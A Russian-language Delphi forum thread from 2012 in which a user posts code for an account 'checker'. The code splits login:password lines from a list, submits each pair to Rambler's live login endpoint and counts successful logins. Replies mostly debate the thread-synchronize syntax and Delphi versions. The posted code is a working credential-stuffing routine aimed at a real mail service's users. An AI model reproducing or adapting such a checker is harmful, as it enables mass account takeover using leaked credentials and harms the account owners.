можно исходник??
и можешь объяснить алгоритм проверки ака на валидность, а то я хочу для своего сайта проверку сделать но хз по какому алгоритму
Быть может ты удосужишься посмотреть выложенный мною код,и ,быть может,ты увидишь,как я проверяю(ибо там есть комменты и этот момент рассматривается).А исходник не буду выкладывать.
Простите,что флужу...Но,что такое sUpDown это измененное название компонента или что-то еще...Плиз объясните я не далекого ума в delphi...Еще раз прошу прощение за флуд...
Простите,что флужу...Но,что такое sUpDown это измененное название компонента или что-то еще...Плиз объясните я не далекого ума в delphi...Еще раз прошу прощение за флуд...
Это компонент:
[Ссылки могут видеть только зарегистрированные пользователи. ]
// синхронизация,чтобы не было траблов,при работе с глобальными данными и даблов и тп и тд
synchronize(
procedure
begin
j := Ready;
inc(Ready); // увеличиваем кол-во проверенных
if Pos(';', Form2.Memo1.Lines[j]) <> 0 then // авто детектед разделителя
begin
login := Copy(Form2.Memo1.Lines[j], 0, // логин
Pos(';', Form2.Memo1.Lines[j]) - 1);
// пасс
pass := Copy(Form2.Memo1.Lines[j], Pos(';', Form2.Memo1.Lines[j]) + 1,
length(Form2.Memo1.Lines[j]));
end;
if Pos(':', Form2.Memo1.Lines[j]) <> 0 then // авто детектед разделителя
begin
login := Copy(Form2.Memo1.Lines[j], 0, // логин
Pos(':', Form2.Memo1.Lines[j]) - 1);
// пасс
pass := Copy(Form2.Memo1.Lines[j], Pos(':', Form2.Memo1.Lines[j]) + 1,
length(Form2.Memo1.Lines[j]));
end;
end);
str.Clear;
// заполняем пост запрос
str.Add('back=http://mail.rambler.ru/');
str.Add('login=' + login);
str.Add('domain=' + Copy(login, Pos('@', login) + 1, length(login)));
str.Add('passw=' + pass);
str.Add('long_session=off');
if Work = false then //если кликнули "Стоп" то цикл успешно завершается
break;
// посылаем пост запрос
http.Post('http://id.rambler.ru/script/auth.cgi', str);
// проверяем,если в редерикте есть "mail.rambler.ru",то заносим в гуд
if Pos('mail.rambler.ru', http.Response.Location) <> 0 then
begin
synchronize(
procedure
begin
inc(good);
end);
end
else
continue;
end;
synchronize(
procedure
begin
if Ready = Finish then
if j + 1 = Ready then
if i = 0 then
begin
showMessage('Готово!');
i := 1;
end;
end);
http.Free;
str.Free;
Form2.Button1.Enabled := true;
Form2.Button2.Enabled := false;
end;
Разве так можно?
Цитата:
synchronize(
procedure
...БЫДЛО КОД...
end;
end);
В процедуре писать еще 1 процедуру да еще и synchronize оставлять с открытой скобкой,
Может я чего не знаю о дельфи?!)но на 7 не работает!
И еще если не сложно распиши все,а то ведь новички даже и не смогут вставить твой код в свои программы...
________________ Delphi+мозг+руки = творение Слежу за правилами!)
Последний раз редактировалось Gum4ik; 22.12.2012 в 22:13.
В процедуре писать еще 1 процедуру да еще и synchronize оставлять с открытой скобкой,
Может я чего не знаю о дельфи?!)но на 7 не работает!
И еще если не сложно распиши все,а то ведь новички даже и не смогут вставить твой код в свои программы...
Быдло-код?
Окей,я *****-кодер
И кстати,я пишу на XE2/3,специально для вас,я даже скрин сделал
И если вы не знаете,что именно так и делается этот метод синхронизации,то могли бы и в тряпочку молчать....Я уверен,что многие даже не знают о существовании такого метода синхронизации :3
Последний раз редактировалось Relli; 23.12.2012 в 11:08.
Под моей цитатой подразумевалось лишь только то что мы будем синхронизировать,а не то что твой код туфта!,
А метод этот как не странно на 7 не работает,что весьма огорчает!,поэтому в первом своем посте так и напиши,на 7 не работоспособный!
________________ Delphi+мозг+руки = творение Слежу за правилами!)
Согласен,да - делфи 7 - классика,но уже давно устарела.На ней хорошо постигать азы,но не более.
Для азов я бы заставил писать на максимально урезанном варианте машины тьюринга, (МНР)
операции:
1) увеличение на 1
2) Уменьшение на 1
3) переход в заданную строку
4) условный оператор
5) регистры
И только после этого давал бы всякие делфи или С...
Ну или сразу после МНР что то с ООП... (ну лично я склоняюсь к C# или Java, хотя вариантов сейчас много)